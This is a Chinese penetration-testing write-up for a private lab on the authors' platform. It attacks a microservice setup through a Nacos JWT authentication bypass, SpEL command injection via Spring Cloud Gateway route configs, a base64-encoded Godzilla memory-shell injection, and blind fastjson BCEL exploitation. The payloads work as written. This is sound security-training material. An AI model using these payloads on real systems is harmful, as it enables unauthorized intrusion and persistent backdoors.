长亭百川云 - 文章详情

记一次对微服务架构的渗透测试

7bits安全团队

60

2024-07-13

记一次对微服务架构的渗透测试

最近在一次渗透过程中遇到了微服务架构,打点进入之后在一个独立的docker中,该docker只负责某个单一的任务,如计划任务,订单操作等。之前对这种架构的渗透方法了解比较少,本文将记录这次渗透流程并在7BitsPlatform复现大致攻击路径。目前配套环境已上线7BitsPlatform,环境名为EsayMicroServices,为私有环境,流程较为简单,分值为300分。

NACOS认证绕过

前期通过docker中环境变量的信息搜集发现存在NACOS:

SPRING_CLOUD_NACOS_DISCOVERY_SERVERADDR   10.0.101.5:80

Nacos由阿里开发并开源,提供了一组简单易用的特性集,帮助用户快速实现动态服务发现、服务配置、服务元数据及流量管理。该系统主要用于集中配置微服务环境,内部可能存储一些内网数据库凭据等信息。

nacos最近出了认证绕过(QVD-2023-6271)和一个反序列化漏洞。反序列化漏洞主要是因为Hessian反序列化导致RCE,但只能打一次。不成功环境就坏了。先尝试认证绕过漏洞,主要是因为硬编码的key,使用该key生成jwt:

import io.jsonwebtoken.Claims;  
import io.jsonwebtoken.Jwts;  
import io.jsonwebtoken.io.Decoders;  
import io.jsonwebtoken.security.Keys;  
  
import java.nio.charset.StandardCharsets;  
import java.util.Date;  
  
public class main {  
    public static void main(String[] args) {  
        System.out.println(createToken("nacos"));  
    }  
  
    public static String createToken(String userName) {  
        String key = "";  
        long now = System.currentTimeMillis();  
        Date validity = new Date(now + 18000*1000L);  
  
        Claims claims = Jwts.claims().setSubject(userName);  
        return Jwts.builder().setClaims(claims).setExpiration(validity)  
                .signWith(Keys.hmacShaKeyFor(Decoders.BASE64.decode(key))).compact();  
    }  
}

新增pom.xml使用maven编译:

<?xml version="1.0" encoding="UTF-8"?>  
<project xmlns="http://maven.apache.org/POM/4.0.0"  
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">  
    <modelVersion>4.0.0</modelVersion>  
  
    <groupId>org.example</groupId>  
    <artifactId>getjwt</artifactId>  
    <version>1.0-SNAPSHOT</version>  
  
    <properties>  
        <maven.compiler.source>8</maven.compiler.source>  
        <maven.compiler.target>8</maven.compiler.target>  
    </properties>  
  
    <dependencies>  
        <dependency>  
            <groupId>io.jsonwebtoken</groupId>  
            <artifactId>jjwt-api</artifactId>  
            <version>0.10.7</version>  
        </dependency>  
        <dependency>  
            <groupId>io.jsonwebtoken</groupId>  
            <artifactId>jjwt-impl</artifactId>  
            <version>0.10.7</version>  
            <scope>runtime</scope>  
        </dependency>  
        <dependency>  
            <groupId>io.jsonwebtoken</groupId>  
            <artifactId>jjwt-jackson</artifactId>  
            <version>0.10.7</version>  
            <scope>runtime</scope>  
        </dependency>  
    </dependencies>  
  
    <build>  
        <plugins>  
            <plugin>  
                <groupId>org.springframework.boot</groupId>  
                <artifactId>spring-boot-maven-plugin</artifactId>  
                <executions>  
                    <execution>  
                        <goals>  
                            <goal>repackage</goal>  
                        </goals>  
                    </execution>  
                </executions>  
            </plugin>  
            <plugin>  
                <artifactId>maven-compiler-plugin</artifactId>  
                <configuration>  
                    <source>1.8</source>  
                    <target>1.8</target>  
                </configuration>  
            </plugin>  
        </plugins>  
    </build>  
</project>

生成key

成功绕过认证:

我们可以发现Nacos后台接口只依赖于get参数中的accesstoken。网上搜一搜基本就能得到所有的nacos接口了。可以通过用户相关接口加一个用户,通过界面更方便进行操作。

NACOS结合SpringCloudGateway

在Nacos中我们可以看到存在spring-cloud-gateway和spring-cloud-service这两个应用,查看spring-cloud-gateway的信息:

获取到服务的ip及端口,访问尝试并利用CVE-2022-22947,发现并不存在利用的端点:

其余和spring相关漏洞在没有开actuator接口的情况下也没有什么利用点,利用陷入僵局。此时发现一篇文章结合了nacos修改springboot配置文件的功能进而实现了rce:https://xz.aliyun.com/t/11493。

CVE-2022-22947漏洞原理简单来说就是通过/actuator/gateway/routes注册一个路由,注册路由的请求可以支持filters参数,可以新增一个filter,熟悉内存马的朋友肯定知道filter可以用于修饰响应或者请求,这里既然支持大概率可以造成代码执行,事实也是如此。后续通过通过spel进行任意代码执行,这个点是一个天然带回显的代码执行点。

借助nacos,我们不再需要/actuator/gateway/routes接口开放,可以直接通过修改yaml配置文件的方式,实现增加filters。我们新建一个测试yaml:

spring:  
  cloud:  
    gateway:  
      routes:  
        - id: exam  
          order: 0  
          uri: lb://spring-cloud-service  
          predicates:  
            - Path=/echo/**  
          filters:  
            - name: AddResponseHeader  
              args:  
                name: result  
                value: "7bits"

通过接口对原有配置文件进行修改:

发现成功触发filter,实现新增请求头的功能:

由于后端服务器不存在echo接口,所以返回503也是正常的。接下来就是在value的地方注入spel表达式

value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream()))}"

成功执行:

至此我们成功获取的CloudGateway的权限。

SpringCloudGateway持久化

通过漏洞执行命令始终不是长久之计,修改路由比较明显,我们可以通过spel对目标植入内存马,已经有比较成熟的开源项目https://github.com/0730Nophone/CVE-2022-22947-。内存马class主要来自https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell/blob/main/GMemShell.java。

SpringCloudGateway实现内存马主要依赖requestMappingHandlerMapping的registerHandlerMethod方法注册控制器:

    public static String doInject(Object obj, String path) {  
        String msg;  
        try {  
            md5 = md5(pass + xc);  
            Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);  
            registerHandlerMethod.setAccessible(true);  
            Method executeCommand = GMemShell.class.getDeclaredMethod("cmd", ServerWebExchange.class);  
            RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build();  
            registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo);  
            msg = "ok";  
        } catch (Exception e) {  
            e.printStackTrace();  
            msg = "error";  
        }  
        return msg;  
    }

在spel中可以利用以下代码加载任意class:

"#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ms.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString(payload),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"}

使用完成的yaml注册路由:

spring:  
  cloud:  
    gateway:  
      routes:  
        - id: exam  
          order: 0  
          uri: lb://spring-cloud-service  
          predicates:  
            - Path=/fuck/**  
          filters:  
            - name: AddResponseHeader  
              args:  
                name: result  
                value: "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ms.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBeAoADQC2BwC3CgACALYJABIAuAoAAgC5CQASALoKAAIAuwoAEgC8CQASAL0KAA0AvggAcgcAvwcAwAcAwQcAwgoADADDCgAOAMQHAMUIAJ8HAMYHAMcKAA8AyAsAyQDKCgASALYKAA4AywgAzAcAzQoAGwDOCADPBwDQBwDRCgDSANMKANIA1AoAHgDVBwDWCACBBwCECQDXANgKANcA2QgA2goA2wDcBwDdCgAVAN4KACoA3woA2wDgCgDbAOEIAOIKAOMA5AoAFQDlCgDjAOYHAOcKAOMA6AoAMwDpCgAzAOoKABUA6wgA7AoADADtCADuCgAMAO8IAPAIAPEKAAwA8ggA8wgA9AgA9QgA9ggA9wsAFAD4EgAAAP4KAP8BAAcBAQkBAgEDCgBHAQQKABsBBQsBBgEHCgASAQgKABIBCQkAEgEKCAELCwEMAQ0KABIBDgsBDAEPCAEQBwERCgBUALYKAA0BEgoAFQETCgANALsKAFQBFAoAEgEVCgAVARYKAP8BFwcBGAoAXQC2CABlCAEZAQAFc3RvcmUBAA9MamF2YS91dGlsL01hcDsBAAlTaWduYXR1cmUBADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEABHBhc3MBABJMamF2YS9sYW5nL1N0cmluZzsBAANtZDUBAAJ4YwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhY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wB/AAcAJQcAfgABBwB++gABAIgAAAAEAAEAGwCAAAAABQEAmgAAACEAnwCgAAMAawAAAJQABAADAAAALCu5AEQBACq6AEUAALYARk27AEdZLLIASLcASbBNuwBHWSy2AEqyAEi3AEmwAAEAAAAbABwAGwADAGwAAAASAAQAAABxABAAiAAcAIkAHQCKAG0AAAAqAAQAEAAMAKEAewACAB0ADwCiAHkAAgAAACwAbgBvAAAAAAAsAKMApAABAH0AAAAGAAFcBwB+AIAAAAAFAQCjAAAApQAAAA4AAQCmAAEAm1sAAXMApxACAKgAqQACAGsAAAGYAAQABwAAAMC7AAJZtwADTSuyAAS5AEsCAMAAFU4qLbgATAO2AE06BLIAThJPuQBQAgDHABayAE4STxkEuABRuQBSAwBXpwBusgBOElMZBLkAUgMAV7sAVFm3AFU6BbIAThJPuQBQAgDAAAy2AD46BhkGGQW2AFZXGQYZBLYAVlcssgAJAxAQtgBXtgAFVxkGtgBYVywqGQW2AFkEtgBNuABatgAFVyyyAAkQELYAW7YABVenAA1OLC22AEq2AAVXLLYAB7gAXLAAAQAIAKsArgAbAAMAbAAAAEoAEgAAAHIACAB0ABUAdQAgAHYALQB3AEAAeQBNAHoAVgB7AGgAfABwAH0AeAB+AIYAfwCMAIAAngCBAKsAhQCuAIMArwCEALgAhgBtAAAAUgAIAFYAVQCqAKsABQBoAEMArAB7AAYAFQCWAK0AZgADACAAiwCuAIQABACvAAkAogB5AAMAAADAAG4AbwAAAAAAwACLAK8AAQAIALgAsACxAAIAfQAAABYABP4AQAcAsgcAfwcAJfkAakIHAH4JAIAAAAAFAQCLEAAACACzAGoAAQBrAAAAMQACAAAAAAAVuwBdWbcAXrMAThJfswAEEmCzAAaxAAAAAQBsAAAACgACAAAAFwAKABgAAwC0AAAAAgC1AScAAAASAAIAyQAPASYGCQFyAXUBcwAZAPkAAAAMAAEA+gADAPsA/AD9'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"

访问注册的接口,执行注入内存马的操作。再访问内存马注册的路由,已成功注册:

使用客户端进行连接,成功维持权限:

攻击服务端

在分布式架构中,CloudGateway仅仅是充当转发的角色,主要业务并不在这台机器上实现。在机器上进行一系列的信息搜集后,未发现有效信息。自然而然想到拿到服务端的所有接口,看是否能找到服务端接口的未授权等漏洞。拿到客户端源码进行反编译,这里遇到ju-gui的一个问题,直接反编译jar包少了一个类:

而手工解包再反编译class就能获取正常情况:

从上面的类我们发现了后台接口http://spring-cloud-service/login,传递的数据类型为json。从nacos我们可以获取spring-cloud-service的ip及端口:

猜一猜后台接口参数,实战情况下客户端一般会存在一些结构体,可以构造出后端需要的参数。

看到这个功能点我们比较自然的会想到爆破、修改content-type为xml造成xxe、注入等漏洞。但这里我们发现客户端程序依赖存在fastjson,很有可能后台也存在fastjson。直接尝试从最老版本的fastjson开始利用,直接盲打:

请求未开放端口,发现长时间不响应,大概率存在漏洞。dns/http请求外网服务器并无响应,疑似不出网环境。

针对fastjson不出网环境,常见的利用一般为bcel或者c3p0,尝试bcel利用:

直接成功执行了命令。在服务器根目录获取到了flag。

关于fastjson利用相关姿势:https://github.com/safe6Sec/Fastjson,原理相关的文章网上一搜就有一堆了。

总结

本文主要是熟悉一下简单的分布式架构会用的一些产品和框架,漏洞利用没有什么复杂的地方。主要包括从配置集中管理->前端->后端api的攻击流程,控制了后端实际业务功能服务器基本可以接触到数据或接触目标内网。

参考

https://xz.aliyun.com/t/12313 

https://xz.aliyun.com/t/12313 

https://y4er.com/posts/fastjson-learn/ 

https://xz.aliyun.com/t/12492 https://github.com/safe6Sec/Fastjson

环境获取

本挑战为xbitsplatform私有环境,平台测试地址为www.xbitsplatform.com 。通过微信群或知识星球获取激活码获得使用资格。

知识星球

团队其他文章

域渗透-How2UseLdap
域渗透-How2PwnACLs
域渗透-How2MoveLaterally

了解更多关于xbitsplatform的信息:

xBitsPlatform公测版正式上线啦
xBitsPlatform使用说明

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2